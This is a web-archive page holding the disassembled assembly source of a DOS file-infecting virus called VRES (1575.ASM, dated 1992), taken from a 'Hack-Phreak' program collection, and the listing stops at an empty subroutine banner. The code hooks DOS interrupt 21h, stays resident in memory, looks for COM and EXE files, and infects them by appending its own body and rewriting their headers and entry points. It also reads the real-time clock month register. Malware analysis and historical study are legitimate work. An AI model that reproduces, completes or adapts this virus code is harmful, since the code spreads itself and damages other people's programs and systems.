home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 1575.ASM < prev    next >
Assembly Source File  |  1992-01-04  |  41KB  |  948 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                             VRES                                     ██
  7. ;██                                                                      ██
  8. ;██      Created:   4-Jan-92                                             ██
  9. ;██      Passes:    5          Analysis Flags on: H                      ██
  10. ;██                                                                      ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.   
  13. data_1e         equ     12Bh
  14. data_2e         equ     137h
  15. data_3e         equ     139h
  16. data_4e         equ     13Bh
  17. data_5e         equ     27Dh
  18. data_6e         equ     5CDh
  19. data_7e         equ     724h
  20. data_8e         equ     6B0h
  21. data_9e         equ     3
  22. data_10e        equ     12h
  23.   
  24. seg_a           segment
  25.                 assume  cs:seg_a, ds:seg_a
  26.   
  27.   
  28.                 org     100h
  29.   
  30. vres            proc    far
  31.   
  32. start:
  33.                 push    cs
  34.                 mov     ax,cs
  35. data_11         dw      105h
  36. data_12         dw      5000h
  37. data_13         dw      0B8h
  38. data_14         dw      5001h
  39.                 db      0CBh, 0
  40. data_15         dw      0
  41. data_16         dw      0EB00h
  42.                 db      4Ah, 90h
  43. data_17         dw      1460h
  44.                 db      74h, 2, 53h, 0FFh
  45. data_18         dw      0F000h
  46. data_19         dw      3B8h
  47.                 db      0, 0CDh
  48. data_20         dw      0CD10h
  49. data_21         dw      20h
  50. data_22         dw      20h
  51. data_23         dw      11h
  52. data_24         dw      0FFFFh
  53. data_25         dw      4
  54. data_26         dw      100h
  55. data_27         dw      674Fh
  56. data_28         dw      100h
  57. data_29         dw      4
  58. data_30         dw      0
  59. data_31         dw      0
  60. data_32         dw      0
  61. data_33         dw      340h
  62. data_34         db      5
  63.                 db      0, 8Ah, 43h, 0B7h, 9Ah, 14h
  64.                 db      0, 0, 1, 71h, 0Dh, 8Eh
  65.                 db      0Ch, 56h, 5, 1, 0EAh, 56h
  66.                 db      74h, 2, 5Ch, 7, 70h, 0
  67. loc_1:
  68.                 push    ss
  69.                 add     al,al
  70.                 or      bx,[si+7]
  71.                 jo      loc_2                                   ; Jump if overflow=1
  72. loc_2:
  73.                 push    es
  74.                 push    ds
  75.                 mov     ax,es
  76.                 push    cs
  77.                 pop     ds
  78.                 push    cs
  79.                 pop     es
  80.                 mov     data_31,ax
  81.                 mov     ax,ss
  82.                 mov     data_26,ax
  83.                 mov     al,2
  84.                 out     20h,al                                  ; port 20h, 8259-1 int command
  85.                 cld                                             ; Clear direction
  86.                 xor     ax,ax                                   ; Zero register
  87.                 mov     ds,ax
  88.                 xor     si,si                                   ; Zero register
  89.                 mov     di,13Ch
  90.                 mov     cx,10h
  91.                 repne   movsb                                   ; Rep while cx>0 Mov [si] to es:[di]
  92.                 push    ds
  93.                 pop     ss
  94.                 mov     bp,8
  95.                 xchg    bp,sp
  96.                 call    sub_1                                   ; (01D5)
  97.                 jmp     loc_24                                  ; (0552)
  98. loc_3:
  99.                 call    sub_12                                  ; (05EC)
  100.                 call    sub_2                                   ; (023D)
  101.                 jz      loc_4                                   ; Jump if zero
  102.                 mov     al,ds:data_7e
  103.                 push    ax
  104.                 call    sub_3                                   ; (02AE)
  105.                 pop     ax
  106.                 mov     ds:data_7e,al
  107.                 jmp     short loc_5                             ; (01B4)
  108.                 db      90h
  109. loc_4:
  110.                 call    sub_5                                   ; (041B)
  111.                 call    sub_6                                   ; (043D)
  112.                 cmp     byte ptr ds:data_7e,0
  113.                 jne     loc_5                                   ; Jump if not equal
  114.                 mov     ax,4C00h
  115.                 int     21h                                     ; DOS Services  ah=function 4Ch
  116.                                                                 ;  terminate with al=return code
  117. loc_5:
  118.                 cmp     byte ptr ds:data_7e,43h                 ; 'C'
  119.                 jne     loc_8                                   ; Jump if not equal
  120. loc_6:
  121.                 pop     ds
  122.                 pop     es
  123.                 push    cs
  124.                 pop     ds
  125.                 pop     es
  126.                 push    es
  127.                 mov     di,100h
  128.                 mov     si,10Bh
  129.                 mov     cx,0Ch
  130.                 repne   movsb                                   ; Rep while cx>0 Mov [si] to es:[di]
  131.                 push    es
  132.                 pop     ds
  133.                 mov     ax,100h
  134.                 push    ax
  135.                 xor     ax,ax                                   ; Zero register
  136.                 retf                                            ; Return far
  137.   
  138. vres            endp
  139.   
  140. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  141. ;                              SUBROUTINE
  142. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  143.   
  144. sub_1           proc    near
  145.                 mov     si,6
  146.                 lodsw                                           ; String [si] to ax
  147.                 cmp     ax,192h
  148.                 je      loc_6                                   ; Jump if equal
  149.                 cmp     ax,179h
  150.                 jne     loc_7                                   ; Jump if not equal
  151.                 jmp     loc_10                                  ; (028F)
  152. loc_7:
  153.                 cmp     ax,1DCh
  154.                 je      loc_8                                   ; Jump if equal
  155.                 retn
  156. loc_8:
  157.                 pop     ds
  158.                 pop     es
  159.                 mov     bx,cs:data_18
  160.                 sub     bx,cs:data_29
  161.                 mov     ax,cs
  162.                 sub     ax,bx
  163.                 mov     ss,ax
  164.                 mov     bp,cs:data_30
  165.                 xchg    bp,sp
  166.                 mov     bx,cs:data_21
  167.                 sub     bx,cs:data_22
  168.                 mov     ax,cs
  169.                 sub     ax,bx
  170.                 push    ax
  171.                 mov     ax,cs:data_23
  172.                 push    ax
  173.                 retf                                            ; Return far
  174.                 db      23h, 1Ah
  175.                 db      '<#/--!.$'
  176.                 db      0Eh, 23h, 2Fh, 2Dh, 0E0h
  177.                 db      'D:VRES.COM'
  178.                 db      0, 58h, 45h, 0, 0
  179.                 db      24h, 24h, 24h, 24h, 24h
  180.   
  181. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  182.   
  183. sub_2:
  184.                 mov     ax,3D02h
  185.                 mov     dx,219h
  186.                 int     21h                                     ; DOS Services  ah=function 3Dh
  187.                                                                 ;  open file, al=mode,name@ds:dx
  188.                 jnc     loc_9                                   ; Jump if carry=0
  189.                 clc                                             ; Clear carry flag
  190.                 retn
  191. loc_9:
  192.                 mov     ds:data_1e,ax
  193.                 mov     dx,673h
  194.                 mov     ax,2524h
  195.                 int     21h                                     ; DOS Services  ah=function 25h
  196.                                                                 ;  set intrpt vector al to ds:dx
  197.                 mov     ax,4202h
  198.                 mov     bx,ds:data_1e
  199.                 mov     cx,0FFFFh
  200.                 mov     dx,0FFFEh
  201.                 int     21h                                     ; DOS Services  ah=function 42h
  202.                                                                 ;  move file ptr, cx,dx=offset
  203.                 mov     dx,27Dh
  204.                 mov     ah,3Fh                                  ; '?'
  205.                 mov     bx,ds:data_1e
  206.                 mov     cx,2
  207.                 int     21h                                     ; DOS Services  ah=function 3Fh
  208.                                                                 ;  read file, cx=bytes, to ds:dx
  209.                 mov     ah,3Eh                                  ; '>'
  210.                 int     21h                                     ; DOS Services  ah=function 3Eh
  211.                                                                 ;  close file, bx=file handle
  212.                 push    ds
  213.                 mov     dx,ds:data_3e
  214.                 mov     ax,ds:data_2e
  215.                 mov     ds,ax
  216.                 mov     ax,2524h
  217.                 int     21h                                     ; DOS Services  ah=function 25h
  218.                                                                 ;  set intrpt vector al to ds:dx
  219.                 pop     ds
  220.                 cmp     word ptr ds:data_5e,0A0Ch
  221.                 clc                                             ; Clear carry flag
  222.                 retn
  223.                 db      0CDh, 20h
  224. loc_10:
  225.                 cmp     ax,22Dh
  226.                 je      loc_11                                  ; Jump if equal
  227.                 push    ds
  228.                 pop     es
  229.                 push    cs
  230.                 pop     ds
  231.                 mov     ax,data_26
  232.                 mov     ss,ax
  233.                 xchg    bp,sp
  234.                 mov     si,13Ch
  235.                 mov     di,0
  236.                 mov     cx,10h
  237.                 cld                                             ; Clear direction
  238.                 repne   movsb                                   ; Rep while cx>0 Mov [si] to es:[di]
  239.                 jmp     loc_3                                   ; (018C)
  240. sub_1           endp
  241.   
  242.   
  243. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  244. ;                              SUBROUTINE
  245. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  246.   
  247. sub_3           proc    near
  248. loc_11:
  249.                 mov     al,43h                                  ; 'C'
  250.                 mov     ds:data_7e,al
  251.                 mov     al,8
  252.                 out     70h,al                                  ; port 70h, RTC addr/enabl NMI
  253.                                                                 ;  al = 8, month register
  254.                 in      al,71h                                  ; port 71h, RTC clock/RAM data
  255.                 mov     ds:data_4e,al
  256.                 mov     dx,219h
  257.                 mov     ax,3D02h
  258.                 int     21h                                     ; DOS Services  ah=function 3Dh
  259.                                                                 ;  open file, al=mode,name@ds:dx
  260.                 jnc     loc_12                                  ; Jump if carry=0
  261.                 retn
  262. loc_12:
  263.                 mov     ds:data_1e,ax
  264.                 mov     dx,10Bh
  265.                 mov     bx,ds:data_1e
  266.                 mov     cx,0Ch
  267.                 mov     ah,3Fh                                  ; '?'
  268.                 int     21h                                     ; DOS Services  ah=function 3Fh
  269.                                                                 ;  read file, cx=bytes, to ds:dx
  270.                 mov     ax,4202h
  271.                 xor     cx,cx                                   ; Zero register
  272.                 xor     dx,dx                                   ; Zero register
  273.                 int     21h                                     ; DOS Services  ah=function 42h
  274.                                                                 ;  move file ptr, cx,dx=offset
  275.                 push    ax
  276.                 add     ax,10h
  277.                 and     ax,0FFF0h
  278.                 push    ax
  279.                 shr     ax,1                                    ; Shift w/zeros fill
  280.                 shr     ax,1                                    ; Shift w/zeros fill
  281.                 shr     ax,1                                    ; Shift w/zeros fill
  282.                 shr     ax,1                                    ; Shift w/zeros fill
  283.                 mov     di,31Fh
  284.                 stosw                                           ; Store ax to es:[di]
  285.                 pop     ax
  286.                 pop     bx
  287.                 sub     ax,bx
  288.                 mov     cx,627h
  289.                 add     cx,ax
  290.                 mov     dx,100h
  291.                 sub     dx,ax
  292.                 mov     bx,ds:data_1e
  293.                 mov     ah,40h                                  ; '@'
  294.                 int     21h                                     ; DOS Services  ah=function 40h
  295.                                                                 ;  write file cx=bytes, to ds:dx
  296.                 mov     ax,4200h
  297.                 xor     cx,cx                                   ; Zero register
  298.                 xor     dx,dx                                   ; Zero register
  299.                 int     21h                                     ; DOS Services  ah=function 42h
  300.                                                                 ;  move file ptr, cx,dx=offset
  301.                 mov     ah,40h                                  ; '@'
  302.                 mov     bx,ds:data_1e
  303.                 mov     cx,0Ch
  304.                 mov     dx,31Bh
  305.                 int     21h                                     ; DOS Services  ah=function 40h
  306.                                                                 ;  write file cx=bytes, to ds:dx
  307.                 mov     ah,3Eh                                  ; '>'
  308.                 mov     bx,ds:data_1e
  309.                 int     21h                                     ; DOS Services  ah=function 3Eh
  310.                                                                 ;  close file, bx=file handle
  311.                 retn
  312. sub_3           endp
  313.   
  314.                 db      0Eh, 8Ch, 0C8h, 5, 1, 0
  315.                 db      50h, 0B8h, 0, 1, 50h, 0CBh
  316.   
  317. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  318. ;                              SUBROUTINE
  319. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  320.   
  321. sub_4           proc    near
  322.                 mov     al,45h                                  ; 'E'
  323.                 mov     byte ptr ds:[724h],al
  324.                 mov     al,8
  325.                 out     70h,al                                  ; port 70h, RTC addr/enabl NMI
  326.                                                                 ;  al = 8, month register
  327.                 in      al,71h                                  ; port 71h, RTC clock/RAM data
  328.                 mov     data_34,al
  329.                 mov     dx,219h
  330.                 mov     ax,3D02h
  331.                 int     21h                                     ; DOS Services  ah=function 3Dh
  332.                                                                 ;  open file, al=mode,name@ds:dx
  333.                 jnc     loc_13                                  ; Jump if carry=0
  334.                 retn
  335. loc_13:
  336.                 mov     data_26,ax
  337.                 mov     dx,10Bh
  338.                 mov     bx,data_26
  339.                 mov     cx,18h
  340.                 mov     ah,3Fh                                  ; '?'
  341.                 int     21h                                     ; DOS Services  ah=function 3Fh
  342.                                                                 ;  read file, cx=bytes, to ds:dx
  343.                 mov     ax,4202h
  344.                 mov     cx,0
  345.                 mov     dx,0
  346.                 int     21h                                     ; DOS Services  ah=function 42h
  347.                                                                 ;  move file ptr, cx,dx=offset
  348.                 push    ax
  349.                 add     ax,10h
  350.                 adc     dx,0
  351.                 and     ax,0FFF0h
  352.                 mov     data_24,dx
  353.                 mov     data_25,ax
  354.                 mov     cx,727h
  355.                 sub     cx,100h
  356.                 add     ax,cx
  357.                 adc     dx,0
  358.                 mov     cx,200h
  359.                 div     cx                                      ; ax,dx rem=dx:ax/reg
  360.                 inc     ax
  361.                 mov     data_16,ax
  362.                 mov     data_15,dx
  363.                 mov     ax,data_21
  364.                 mov     data_22,ax
  365.                 mov     ax,data_20
  366.                 mov     data_23,ax
  367.                 mov     ax,data_18
  368.                 mov     data_29,ax
  369.                 mov     ax,data_19
  370.                 mov     data_30,ax
  371.                 mov     dx,data_24
  372.                 mov     ax,data_25
  373.                 mov     cx,10h
  374.                 div     cx                                      ; ax,dx rem=dx:ax/reg
  375.                 sub     ax,10h
  376.                 sub     ax,data_17
  377.                 mov     data_21,ax
  378.                 mov     data_18,ax
  379.                 mov     data_20,100h
  380.                 mov     data_19,100h
  381.                 mov     ax,4200h
  382.                 xor     cx,cx                                   ; Zero register
  383.                 mov     dx,2
  384.                 int     21h                                     ; DOS Services  ah=function 42h
  385.                                                                 ;  move file ptr, cx,dx=offset
  386.                 mov     dx,10Dh
  387.                 mov     bx,data_26
  388.                 mov     cx,16h
  389.                 mov     ah,40h                                  ; '@'
  390.                 int     21h                                     ; DOS Services  ah=function 40h
  391.                                                                 ;  write file cx=bytes, to ds:dx
  392.                 mov     ax,4202h
  393.                 xor     cx,cx                                   ; Zero register
  394.                 xor     dx,dx                                   ; Zero register
  395.                 int     21h                                     ; DOS Services  ah=function 42h
  396.                                                                 ;  move file ptr, cx,dx=offset
  397.                 mov     dx,100h
  398.                 mov     ax,data_25
  399.                 pop     cx
  400.                 sub     ax,cx
  401.                 sub     dx,ax
  402.                 mov     cx,727h
  403.                 add     cx,ax
  404.                 sub     cx,100h
  405.                 mov     ah,40h                                  ; '@'
  406.                 int     21h                                     ; DOS Services  ah=function 40h
  407.                                                                 ;  write file cx=bytes, to ds:dx
  408.                 mov     ah,3Eh                                  ; '>'
  409.                 int     21h                                     ; DOS Services  ah=function 3Eh
  410.                                                                 ;  close file, bx=file handle
  411.                 retn
  412. sub_4           endp
  413.   
  414.                 db      51h, 0B9h, 0, 0, 0B4h, 4Eh
  415.                 db      0CDh, 21h, 59h, 0C3h
  416.   
  417. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  418. ;                              SUBROUTINE
  419. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  420.   
  421. sub_5           proc    near
  422.                 push    es
  423.                 mov     ax,351Ch
  424.                 int     21h                                     ; DOS Services  ah=function 35h
  425.                                                                 ;  get intrpt vector al in es:bx
  426.                 mov     cs:data_13,bx
  427.                 mov     cs:data_14,es
  428.                 mov     ax,3521h
  429.                 int     21h                                     ; DOS Services  ah=function 35h
  430.                                                                 ;  get intrpt vector al in es:bx
  431.                 push    es
  432.                 pop     ax
  433.                 mov     cs:data_12,ax
  434.                 mov     cs:data_11,bx
  435.                 pop     es
  436.                 retn
  437. sub_5           endp
  438.   
  439.   
  440. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  441. ;                              SUBROUTINE
  442. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  443.   
  444. sub_6           proc    near
  445.                 push    ax
  446.                 push    es
  447.                 push    ds
  448.                 xor     ax,ax                                   ; Zero register
  449.                 mov     es,ax
  450.                 mov     si,86h
  451.                 mov     ax,es:[si]
  452.                 mov     ds,ax
  453.                 mov     si,725h
  454.                 cmp     word ptr [si],0A0Ch
  455.                 jne     loc_14                                  ; Jump if not equal
  456.                 push    ds
  457.                 pop     ax
  458.                 call    sub_13                                  ; (0611)
  459.                 pop     ds
  460.                 pop     es
  461.                 pop     ax
  462.                 retn
  463. loc_14:
  464.                 push    cs
  465.                 pop     ds
  466.                 mov     ax,data_31
  467.                 dec     ax
  468.                 mov     es,ax
  469.                 cmp     byte ptr es:[0],5Ah                     ; 'Z'
  470.                 je      loc_15                                  ; Jump if equal
  471.                 jmp     short loc_16                            ; (04B4)
  472.                 db      90h
  473. loc_15:
  474.                 mov     ax,es:data_9e
  475.                 mov     cx,737h
  476.                 shr     cx,1                                    ; Shift w/zeros fill
  477.                 shr     cx,1                                    ; Shift w/zeros fill
  478.                 shr     cx,1                                    ; Shift w/zeros fill
  479.                 shr     cx,1                                    ; Shift w/zeros fill
  480.                 sub     ax,cx
  481.                 jc      loc_16                                  ; Jump if carry Set
  482.                 mov     es:data_9e,ax
  483.                 sub     es:data_10e,cx
  484.                 push    cs
  485.                 pop     ds
  486.                 mov     ax,es:data_10e
  487.                 push    ax
  488.                 pop     es
  489.                 mov     si,100h
  490.                 push    si
  491.                 pop     di
  492.                 mov     cx,627h
  493.                 cld                                             ; Clear direction
  494.                 repne   movsb                                   ; Rep while cx>0 Mov [si] to es:[di]
  495.                 push    es
  496.                 sub     ax,ax
  497.                 mov     es,ax
  498.                 mov     si,84h
  499.                 mov     dx,4A8h
  500.                 mov     es:[si],dx
  501.                 inc     si
  502.                 inc     si
  503.                 pop     ax
  504.                 mov     es:[si],ax
  505. loc_16:
  506.                 pop     ds
  507.                 pop     es
  508.                 pop     ax
  509.                 retn
  510. sub_6           endp
  511.   
  512.                 db      3Ch, 57h, 75h, 3, 0EBh, 1Eh
  513.                 db      90h, 80h, 0FCh, 1Ah, 75h, 6
  514.                 db      0E8h, 17h, 1, 0EBh, 13h, 90h
  515. loc_17:
  516.                 cmp     ah,11h
  517.                 jne     loc_18                                  ; Jump if not equal
  518.                 call    sub_7                                   ; (04E1)
  519.                 iret                                            ; Interrupt return
  520. loc_18:
  521.                 cmp     ah,12h
  522.                 jne     loc_19                                  ; Jump if not equal
  523.                 call    sub_10                                  ; (059C)
  524.                 iret                                            ; Interrupt return
  525. loc_19:
  526.                 jmp     dword ptr cs:data_11
  527.   
  528. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  529. ;                              SUBROUTINE
  530. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  531.   
  532. sub_7           proc    near
  533.                 mov     al,57h                                  ; 'W'
  534.                 int     21h                                     ; DOS Services  ah=function 00h
  535.                                                                 ;  terminate, cs=progm seg prefx
  536.                 push    ax
  537.                 push    cx
  538.                 push    dx
  539.                 push    bx
  540.                 push    bp
  541.                 push    si
  542.                 push    di
  543.                 push    ds
  544.                 push    es
  545.                 push    cs
  546.                 pop     ds
  547.                 push    cs
  548.                 pop     es
  549.                 mov     byte ptr cs:data_35,0
  550.                 nop
  551.                 call    sub_8                                   ; (0514)
  552.                 jnz     loc_20                                  ; Jump if not zero
  553.                 call    sub_2                                   ; (023D)
  554.                 jz      loc_20                                  ; Jump if zero
  555.                 call    sub_15                                  ; (065A)
  556.                 dec     byte ptr ds:data_6e
  557. loc_20:
  558.                 pop     es
  559.                 pop     ds
  560.                 pop     di
  561.                 pop     si
  562.                 pop     bp
  563.                 pop     bx
  564.                 pop     dx
  565.                 pop     cx
  566.                 pop     ax
  567.                 retn
  568. sub_7           endp
  569.   
  570.   
  571. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  572. ;                              SUBROUTINE
  573. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  574.   
  575. sub_8           proc    near
  576.                 push    cs
  577.                 pop     es
  578.                 push    cs
  579.                 pop     es
  580.                 cld                                             ; Clear direction
  581.                 call    sub_9                                   ; (0552)
  582.                 jnc     loc_21                                  ; Jump if carry=0
  583.                 cmp     di,0
  584.                 retn
  585. loc_21:
  586.                 mov     di,219h
  587.                 mov     al,2Eh                                  ; '.'
  588.                 mov     cx,0Bh
  589.                 repne   scasb                                   ; Rept zf=0+cx>0 Scan es:[di] for al
  590.                 cmp     word ptr [di],4F43h
  591.                 jne     loc_22                                  ; Jump if not equal
  592.                 cmp     byte ptr [di+2],4Dh                     ; 'M'
  593.                 jne     loc_22                                  ; Jump if not equal
  594.                 mov     byte ptr ds:[724h],43h                  ; 'C'
  595.                 nop
  596.                 retn
  597. loc_22:
  598.                 cmp     word ptr [di],5845h
  599.                 jne     loc_ret_23                              ; Jump if not equal
  600.                 cmp     byte ptr [di+2],45h                     ; 'E'
  601.                 jne     loc_ret_23                              ; Jump if not equal
  602.                 mov     byte ptr ds:[724h],45h                  ; 'E'
  603.                 nop
  604.   
  605. loc_ret_23:
  606.                 retn
  607. sub_8           endp
  608.   
  609.   
  610. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  611. ;                              SUBROUTINE
  612. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  613.   
  614. sub_9           proc    near
  615. loc_24:
  616.                 push    ds
  617.                 mov     si,cs:data_27
  618.                 mov     ax,cs:data_28
  619.                 mov     ds,ax
  620.                 mov     di,219h
  621.                 lodsb                                           ; String [si] to al
  622.                 cmp     al,0FFh
  623.                 jne     loc_25                                  ; Jump if not equal
  624.                 add     si,6
  625.                 lodsb                                           ; String [si] to al
  626.                 jmp     short loc_26                            ; (0574)
  627.                 db      90h
  628. loc_25:
  629.                 cmp     al,5
  630.                 jb      loc_26                                  ; Jump if below
  631.                 pop     ds
  632.                 stc                                             ; Set carry flag
  633.                 retn
  634. loc_26:
  635.                 mov     cx,0Bh
  636.                 cmp     al,0
  637.                 je      locloop_27                              ; Jump if equal
  638.                 add     al,40h                                  ; '@'
  639.                 stosb                                           ; Store al to es:[di]
  640.                 mov     al,3Ah                                  ; ':'
  641.                 stosb                                           ; Store al to es:[di]
  642.   
  643. locloop_27:
  644.                 lodsb                                           ; String [si] to al
  645.                 cmp     al,20h                                  ; ' '
  646.                 je      loc_28                                  ; Jump if equal
  647.                 stosb                                           ; Store al to es:[di]
  648.                 jmp     short loc_29                            ; (0594)
  649.                 db      90h
  650. loc_28:
  651.                 cmp     byte ptr es:[di-1],2Eh                  ; '.'
  652.                 je      loc_29                                  ; Jump if equal
  653.                 mov     al,2Eh                                  ; '.'
  654.                 stosb                                           ; Store al to es:[di]
  655. loc_29:
  656.                 loop    locloop_27                              ; Loop if cx > 0
  657.   
  658.                 mov     al,0
  659.                 stosb                                           ; Store al to es:[di]
  660.                 pop     ds
  661.                 clc                                             ; Clear carry flag
  662.                 retn
  663. sub_9           endp
  664.   
  665.   
  666. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  667. ;                              SUBROUTINE
  668. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  669.   
  670. sub_10          proc    near
  671.                 mov     al,57h                                  ; 'W'
  672.                 int     21h                                     ; DOS Services  ah=function 00h
  673.                                                                 ;  terminate, cs=progm seg prefx
  674.                 push    ax
  675.                 push    cx
  676.                 push    dx
  677.                 push    bx
  678.                 push    bp
  679.                 push    si
  680.                 push    di
  681.                 push    ds
  682.                 push    es
  683.                 push    cs
  684.                 pop     ds
  685.                 push    cs
  686.                 pop     es
  687.                 cmp     byte ptr cs:data_35,0
  688.                 je      loc_30                                  ; Jump if equal
  689.                 jmp     short loc_31                            ; (05D3)
  690.                 db      90h
  691. loc_30:
  692.                 call    sub_8                                   ; (0514)
  693.                 jnz     loc_31                                  ; Jump if not zero
  694.                 call    sub_2                                   ; (023D)
  695.                 jz      loc_31                                  ; Jump if zero
  696.                 call    sub_15                                  ; (065A)
  697.                 dec     byte ptr ds:data_6e
  698.                 pop     es
  699.                 pop     ds
  700.                 pop     di
  701.                 pop     si
  702. data_35         db      5Dh
  703.                 db      5Bh, 5Ah, 59h, 58h, 0C3h
  704. loc_31:
  705.                 pop     es
  706.                 pop     ds
  707.                 pop     di
  708.                 pop     si
  709.                 pop     bp
  710.                 pop     bx
  711.                 pop     dx
  712.                 pop     cx
  713.                 pop     ax
  714.                 retn
  715. sub_10          endp
  716.   
  717.                 db      0
  718.   
  719. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  720. ;                              SUBROUTINE
  721. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  722.   
  723. sub_11          proc    near
  724.                 push    ax
  725.                 push    ds
  726.                 pop     ax
  727.                 mov     cs:data_28,ax
  728.                 mov     cs:data_27,dx
  729.                 pop     ax
  730.                 retn
  731. sub_11          endp
  732.   
  733.   
  734. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  735. ;                              SUBROUTINE
